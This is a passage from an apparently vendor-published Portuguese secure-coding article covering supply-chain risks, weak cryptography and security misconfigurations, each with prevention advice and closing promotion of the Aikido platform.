Impacto: Uma dependência maliciosa pode executar qualquer código com os mesmos privilégios do seu aplicativo. Isso significa que ela pode roubar os dados do seu aplicativo, exfiltrar Secrets (chaves de API, credenciais de banco de dados) do seu ambiente, plantar backdoors ou pivotar para atacar outros sistemas. ataques à Supply chain efetivamente viram o modelo de confiança contra nós: confiamos que pacotes de código aberto são benignos, então os incluímos livremente. Uma vez que essa confiança é traída, o impacto pode ser generalizado e muito difícil de detectar (quantos desenvolvedores inspecionam cada linha de código em seus node_modules? Ninguém). A escala é o que torna isso tão perigoso – comprometa um pacote popular e você potencialmente viola milhares de aplicações downstream de uma só vez.
Prevenção: Defender-se contra dependências maliciosas é desafiador, mas existem melhores práticas:
- Fixar e verificar versões: Não atualize automaticamente suas dependências para a versão mais recente às cegas, sem revisão. Use arquivos de lock ou fixação explícita de versões para que uma atualização maliciosa repentina não entre automaticamente. Quando uma nova versão de uma dependência crítica for lançada, dê uma olhada no changelog ou diff, se possível, especialmente se for um pacote de alto impacto.
- Use recursos de integridade de pacotes: Gerenciadores de pacotes como npm e PyPI suportam a verificação de assinaturas ou checksums de pacotes. Para o npm, você obtém um hash de integridade SHA-512 no arquivo de lock – a chance de um invasor produzir uma colisão de hash é insignificante, então isso pode garantir que você está instalando exatamente o que pensa. Alguns ecossistemas têm pacotes assinados – se disponível, use esse recurso.
- Monitore avisos: Avisos de segurança e ferramentas de monitoramento proativo podem sinalizar se um pacote está comprometido. Em alguns grandes incidentes, os alertas foram emitidos muito rapidamente. Projetos e plataformas mantêm feeds de ameaças para pacotes maliciosos, que podem avisá-lo ou bloquear pacotes maliciosos conhecidos de serem instalados.
- Menor privilégio e sandboxing: Considere executar builds ou instalações de pacotes em ambientes isolados. Se um pacote malicioso for executado, ele pode causar menos danos em um sandbox ou um Container com permissões limitadas. Além disso, em tempo de execução, tente executar seu aplicativo com os menores privilégios necessários, para que, se uma biblioteca se tornar maliciosa, ela tenha acesso mínimo (por exemplo, não execute seu aplicativo Node.js como root no servidor).
- Audite o código se viável: Isso é difícil em escala, mas para dependências muito cruciais, pode valer a pena fazer uma auditoria rápida de código ou usar ferramentas automatizadas que analisam o comportamento do pacote. Algumas ferramentas tentam detectar se uma atualização de repente começa a derrubar conexões de rede ou ler variáveis de ambiente de forma suspeita.
Em resumo, mantenha-se vigilante em relação à sua supply chain. A comunidade está desenvolvendo mais ferramentas para combater isso (o npm agora tem 2FA para mantenedores, etc.), mas, em última análise, como consumidor de pacotes, você precisa ficar de olho no que você traz para o seu aplicativo. Usar uma solução automatizada para escanear malware em dependências pode fornecer uma camada extra de defesa, capturando código malicioso antes que ele o capture.
9. Práticas Criptográficas Fracas
Mesmo quando os desenvolvedores tentam proteger dados, como eles fazem isso importa. Usar criptografia incorretamente pode dar uma falsa sensação de segurança. Armadilhas comuns incluem o uso de algoritmos desatualizados ou fracos, o gerenciamento inadequado de chaves ou a implementação manual de protocolos criptográficos (e errá-los). Esses erros nem sempre levarão a uma CVE óbvia, mas minam as proteções que você pretendia implementar.
Alguns exemplos:
- Hashing Fraco para Senhas: Armazenar senhas usando um hash rápido como MD5 ou SHA-1 (ou pior, sem salt) é perigoso. Hashes rápidos podem ser quebrados via força bruta ou tabelas arco-íris muito rapidamente com hardware moderno. Houve muitas violações onde empresas fizeram hash de senhas, mas ainda assim foram prejudicadas porque os invasores quebraram esses hashes. É por isso que o padrão da indústria é usar hashing lento e computacionalmente intensivo (bcrypt, scrypt, Argon2) com salts.
- Chaves Criptográficas Hardcoded ou Reutilizadas: Vimos desenvolvedores cometerem chaves secretas JWT, Secrets HMAC de API ou chaves de criptografia em repositórios públicos (isso se sobrepõe à questão dos Secrets). Se um invasor obtiver sua chave simétrica, ele pode forjar tokens ou descriptografar dados à vontade. Da mesma forma, reutilizar a mesma chave em diferentes ambientes ou usar chaves padrão (alguns frameworks eram fornecidos com um Secret JWT padrão para o modo de desenvolvimento que as pessoas esqueciam de mudar) pode levar a comprometimento.
- Aleatoriedade Insegura: Usar geradores de números aleatórios não criptograficamente seguros para tokens sensíveis à segurança. Por exemplo, usar
Math.random()em JavaScript para gerar um token de redefinição de senha — que é previsível o suficiente para ser alvo de ataque de força bruta. Houve CVEs em linguagens por má geração de números aleatórios, mas, na maioria das vezes, é um desenvolvedor que não percebe que precisa de algo comocrypto.randomBytesouSecureRandom. - Criptografia e Protocolos Personalizados: “Não crie sua própria criptografia” é uma sabedoria antiga. Implementar seu próprio algoritmo ou protocolo de criptografia provavelmente introduzirá falhas. Por exemplo, um desenvolvedor pode decidir criptografar dados com AES, mas usar o modo ECB (que é inseguro porque não randomiza blocos idênticos) — esse padrão apareceu em algumas bibliotecas de criptografia desenvolvidas internamente e levou à divulgação de informações. Outro exemplo: não verificar assinaturas corretamente (por exemplo, não verificar a cadeia de certificados em uma conexão SSL/TLS, desabilitando efetivamente a validação — o que levou a vulnerabilidades de man-in-the-middle em alguns aplicativos).
Impacto: Criptografia fraca pode resultar em violações de dados e bypasses de autenticação. Se as senhas forem facilmente quebráveis, uma violação do seu banco de dados de senhas com hash significa que os atacantes obterão uma grande porcentagem das senhas reais. Se tokens ou cookies forem assinados com uma chave fraca (ou nenhuma), os atacantes podem forjar esses tokens para se passar por usuários (foi assim que o fiasco do JWT “alg:none” funcionou — era essencialmente dizer “sem assinatura”). Se a criptografia for feita incorretamente, os atacantes podem descriptografar dados sensíveis ou adulterá-los sem serem notados. Essencialmente, você pensa que seus dados estão seguros, mas não estão — e isso pode ser catastrófico porque você pode não implementar outras proteções, assumindo que a criptografia o protege.
Prevenção: Siga rigorosamente as melhores práticas e padrões estabelecidos:
- Use bibliotecas comprovadas para criptografia em vez de escrever as suas próprias. Use os protocolos mais recentes (TLS 1.3 em vez de TLS 1.0, JWT com algoritmos fortes ou, melhor ainda, tokens opacos com armazenamento no lado do servidor, se possível, etc.).
- Escolha algoritmos e modos fortes: AES-GCM ou ChaCha20-Poly1305 para criptografia, RSA ou ECDSA com comprimentos de chave adequados para assinaturas, PBKDF2/bcrypt/Argon2 para hashing de senhas, etc. Evite algoritmos obsoletos (MD5, SHA-1, DES, RC4, etc.).
- Gerencie chaves de forma segura: não as codifique (novamente, gerenciamento de segredos), gire as chaves periodicamente e use chaves separadas para propósitos separados. Se estiver usando JWTs, garanta que o segredo ou chave de assinatura seja suficientemente complexo e armazenado com segurança.
- Para valores aleatórios (chaves de API, tokens, nonces), use geradores de números aleatórios criptograficamente seguros. Na maioria das linguagens, essa é uma função específica: por exemplo, crypto.randomBytes no Node, System.Security.Cryptography.RandomNumberGenerator no .NET, java.security.SecureRandom em Java (com uma boa fonte).
- Ao usar bibliotecas de criptografia, leia a documentação sobre o uso adequado. Muitos erros vêm do uso indevido. Por exemplo, se você estiver usando PyCrypto ou o pacote crypto do Go, certifique-se de fornecer um IV único para cada chamada de criptografia, não reutilize nonces, etc. Muitas bibliotecas oferecem padrões seguros, mas nem todas.
- Testes e Revisão: Inclua testes que garantam, por exemplo, que você não pode quebrar facilmente uma senha com hash ou que dados criptografados não podem ser adulterados. Considere usar ferramentas como linters ou analisadores de criptografia que podem sinalizar algoritmos fracos. Existem regras de análise estática para detectar o uso de MD5 ou IVs constantes, por exemplo. A varredura do Aikido pode detectar alguns padrões de uso de criptografia fraca (como o uso de funções hash inseguras) e o alertaria sobre eles para que você possa fazer upgrade para alternativas mais seguras.
Em resumo, criptografia forte é sua amiga — mas apenas se usada corretamente. Aproveite implementações e configurações validadas pela comunidade. Em caso de dúvida, consulte especialistas em segurança ou recursos para a abordagem correta, em vez de adivinhar. Um pouco de tempo extra gasto para acertar a criptografia pode salvá-lo de uma grande violação no futuro.
10. Configurações de Segurança Incorretas e Padrões Inseguros
Nem todas as vulnerabilidades vêm da lógica do código; às vezes é a forma como a aplicação é configurada (ou mal configurada) que abre uma brecha. Configuração de segurança incorreta é uma categoria ampla, mas no contexto de código, estamos falando de coisas como deixar modos de depuração ativados, usar credenciais padrão ou configurações de exemplo, mensagens de erro verbosas vazando informações, ou não configurar cabeçalhos de segurança. Esses são frequentemente simples descuidos que podem ter consequências graves.
Exemplos:
- Deixar o Modo de Depuração Ativado: Muitos frameworks (Django, Flask, Rails, etc.) possuem um modo de depuração/desenvolvimento que nunca deve ser ativado em produção. No modo de depuração, os frameworks frequentemente fornecem páginas de erro ricas e até consoles interativos. Por exemplo, o depurador Werkzeug no Flask permite executar código Python arbitrário via navegador — ótimo para desenvolvimento, mas se deixado ativado em produção (e se um atacante puder acessá-lo), é um RCE instantâneo. Houve casos em que aplicativos Flask mal configurados estavam expostos à internet com o modo de depuração ativado, e atacantes facilmente assumiram o controle do servidor. (Este problema é tão conhecido que os frameworks exibem grandes avisos, mas ainda acontece ocasionalmente.)
- Credenciais/Configurações Padrão: Exemplos incluem deixar a senha de administrador padrão como “admin” ou não alterar as chaves de API padrão. No código, talvez você tenha usado um tutorial que tinha um segredo JWT de exemplo “secret123” e nunca o alterou — ops, isso significa que qualquer um poderia forjar tokens. Ou um SDK de armazenamento em Cloud pode ter como padrão um determinado nome de bucket ou regra de acesso que você não sobrescreveu, deixando algo público inadvertidamente.
- Mensagens de Erro Verbosas e Stack Traces: Se sua aplicação exibe stack traces completos ou dumps de erro para o usuário, um atacante pode coletar muitas informações (versões de software, caminhos internos, estruturas de consulta). Essa informação pode facilitar outros ataques como SQL injection (conhecendo a estrutura da consulta a partir de uma mensagem de erro) ou identificando quais versões de biblioteca você usa.
- Cabeçalhos e Configurações de Segurança: Não configurar seu aplicativo web com cabeçalhos de segurança (Content Security Policy, X-Frame-Options, HSTS, etc.) não é uma vulnerabilidade direta em seu código, mas falha em mitigar certas classes de ataques. Da mesma forma, permitir que seu aplicativo seja executado em HTTP (não redirecionando para HTTPS) ou não validar certificados TLS se seu código fizer requisições de saída pode se enquadrar em configurações incorretas que levam a exploits (como MITM).
- Permissões de Arquivos/Diretórios e Uploads: Se seu aplicativo salva arquivos enviados por usuários em um diretório acessível pela web sem nenhuma verificação, um atacante pode fazer upload de um script e então acessá-lo diretamente via URL — agora eles efetivamente executaram código em seu servidor (é assim que muitos exploits PHP mais antigos funcionavam). Isso pode ser visto como uma configuração incorreta do aplicativo (não impedindo tipos de arquivo perigosos e não isolando uploads adequadamente).
Impacto: Configurações incorretas podem levar a comprometimento imediato assim como bugs de código. Por exemplo, uma interface de administração deixada sem senha (acontece!) é basicamente uma porta aberta. Um console de depuração ativado pode conceder acesso de shell a um atacante. Mensagens de erro detalhadas podem ajudar atacantes a encontrar um vetor de SQL injection ou XSS. Então, embora as configurações incorretas possam soar como “oh, é apenas uma configuração,” elas podem ser tão mortais quanto qualquer outra vulnerabilidade. A violação da Uber em 2024, por exemplo, teria começado com uma ferramenta de administração exposta sem MFA — isso é um problema de configuração incorreta de acesso.
Prevenção: A boa notícia é que as configurações incorretas são geralmente fáceis de corrigir uma vez identificadas. Frequentemente, resume-se a manter uma lista de verificação de configuração endurecida:
- Desative os modos de depuração/desenvolvedor em produção. Verifique novamente antes de implantar. Muitos frameworks permitem uma variável de ambiente ou flag de configuração – certifique-se de que esteja configurada corretamente. Você pode até mesmo colocar uma asserção no código para recusar a execução se o debug estiver ativado em um ambiente não local.
- Altere todas as senhas e Secrets padrão. Isso é básico, mas deve ser enfatizado. Qualquer coisa que venha com uma credencial padrão deve ser alterada na primeira instalação. Se você usar qualquer tipo de código boilerplate ou template que tenha chaves ou senhas de exemplo, procure por eles em sua base de código e substitua por valores seguros.
- Trate os erros de forma elegante. Configure uma página de erro genérica para os usuários. Registre o erro detalhado internamente, mas não exponha stack traces aos usuários finais. Além disso, considere quais informações seus erros de API retornam – não vaze informações como queries SQL completas ou caminhos de arquivos do servidor.
- Aplique cabeçalhos de segurança e melhores práticas. Use bibliotecas ou middleware que definam cabeçalhos seguros (muitos frameworks possuem um módulo de segurança que você pode habilitar). Force HTTPS e use HSTS para evitar o downgrade para HTTP. Se seu aplicativo precisar permitir iframes ou cross-origin, configure-o deliberadamente; caso contrário, defina X-Frame-Options DENY, etc.
- Tratamento de upload de arquivos: Se seu aplicativo lida com uploads de arquivos, armazene-os fora da raiz web ou renomeie-os para extensões benignas. Valide os tipos de arquivo. E garanta que a conta sob a qual seu aplicativo é executado tenha apenas as permissões de arquivo que realmente precisa – contenha o raio de explosão.
- Configurações de plataforma atualizadas: Mantenha seu servidor de aplicativos e dependências atualizados para se beneficiar de padrões seguros. Por exemplo, versões mais recentes de frameworks podem habilitar segurança mais rigorosa por padrão.
A implementação de varreduras automatizadas para configurações incorretas pode ajudar. Ferramentas, incluindo a plataforma Aikido, podem escanear seu aplicativo e infraestrutura em busca de padrões comuns de configuração incorreta – como procurar por “DEBUG = True” em um arquivo de configurações Python ou verificar se seu site envia cabeçalhos de segurança. Essas verificações são frequentemente parte de um conjunto de testes de segurança de aplicações.
Finalmente, considere usar infraestrutura como código (IaC) e pipelines de DevOps para impor padrões de configuração. Se você conteinerizar seu aplicativo, por exemplo, você pode scriptar o Container para falhar se certas variáveis de ambiente (como uma flag de debug de produção) estiverem presentes. A chave é não tratar a configuração de implantação como um item secundário – ela é uma parte integrante da segurança do seu aplicativo.
Construindo Segurança em Seu Pipeline de Desenvolvimento
Cobrimos muito terreno – desde injeções clássicas e XSS até as nuances de ataques à Supply chain e bugs de criptografia. Se há um tema, é que a codificação segura é um esforço contínuo. Erros acontecerão, novas vulnerabilidades surgirão em suas dependências, e atacantes continuarão a sondar por aquela única falha. A melhor maneira de se manter à frente é construir um processo de desenvolvimento resiliente que detecte os problemas cedo e continuamente.
Isso significa adotar práticas como revisões de código com mentalidade de segurança, atualizações regulares de dependências e integração de testes de segurança no CI/CD. Ferramentas automatizadas são suas aliadas aqui. Por exemplo, Testes de segurança de aplicações estáticas (SAST) podem analisar seu código enquanto você o escreve, sinalizando padrões de risco (strings SQL, chamadas de função perigosas) antes mesmo de serem executados. Scanners de dependência o alertarão no momento em que um novo CVE afetar uma biblioteca em seu repositório – crucial quando exploits são transformados em armas em questão de horas. A detecção de Secrets pode evitar aquele momento de “oops” de enviar uma chave de API para o GitHub. E varreduras de Container/infra podem garantir que suas configurações de implantação estejam endurecidas.
Na Aikido, acreditamos em tornar isso amigável para desenvolvedores. Adoramos ferramentas de código aberto como ESLint, Semgrep, Trivy, etc., mas também sabemos que encadear vários scanners pode se tornar uma dor de cabeça para as equipes de desenvolvimento. É por isso que plataformas como a Aikido integram múltiplas verificações de segurança (SAST, SCA, Secrets, IaC, varredura de Container) com regras personalizadas e recursos de autofix – para que você obtenha cobertura abrangente com uma boa DX. O objetivo é expor vulnerabilidades reais com contexto completo e até mesmo fornecer correções automatizadas ou orientação, diretamente em seu fluxo de trabalho. Por exemplo, se a Aikido sinaliza uma biblioteca vulnerável, ela pode sugerir a versão segura para a qual atualizar (e fazer isso por você). Se encontrar um Secret, pode ajudá-lo a rotacioná-lo e prevenir a recorrência. Isso reduz o fardo sobre os desenvolvedores de se tornarem especialistas em segurança em cada vulnerabilidade – as ferramentas auxiliam e você aprende à medida que avança.
Como desenvolvedor, você tem o poder de tornar seu software mais seguro para todos. Comece tratando bugs de segurança com a mesma importância que bugs funcionais. Incorpore as principais vulnerabilidades que discutimos em seus casos de teste e modelos de ameaça. E não faça isso sozinho – aproveite as ferramentas e serviços de segurança que se integram ao seu IDE e CI. Você pode começar executando uma varredura gratuita com a Aikido ou plataformas semelhantes em um de seus projetos para ver o que ela encontra. É frequentemente revelador! Configure essas ferramentas para rodar em cada pull request, para que os problemas sejam detectados cedo, quando são mais baratos de corrigir.
A codificação segura é uma jornada, não um destino. Mas ao estar ciente desses tipos comuns de vulnerabilidade e usar proativamente as práticas e ferramentas corretas, você pode reduzir drasticamente seu risco. Vamos entregar código que não seja apenas incrível, mas seguro por design. Seus usuários (e seu eu futuro) agradecerão.
Continue lendo:
Top 9 Vulnerabilidades de segurança de contêineres Docker
Top 7 Vulnerabilidades de segurança na nuvem
Top 10 Vulnerabilidades de segurança de aplicações web que toda equipe deve conhecer
Top 9 Vulnerabilidades e configurações incorretas de segurança Kubernetes
Top 10 Vulnerabilidades de segurança Python que desenvolvedores devem evitar
Principais vulnerabilidades de segurança JavaScript em aplicações web modernas
Top 9 Vulnerabilidades de segurança da supply chain de software explicadas
Proteja seu software agora



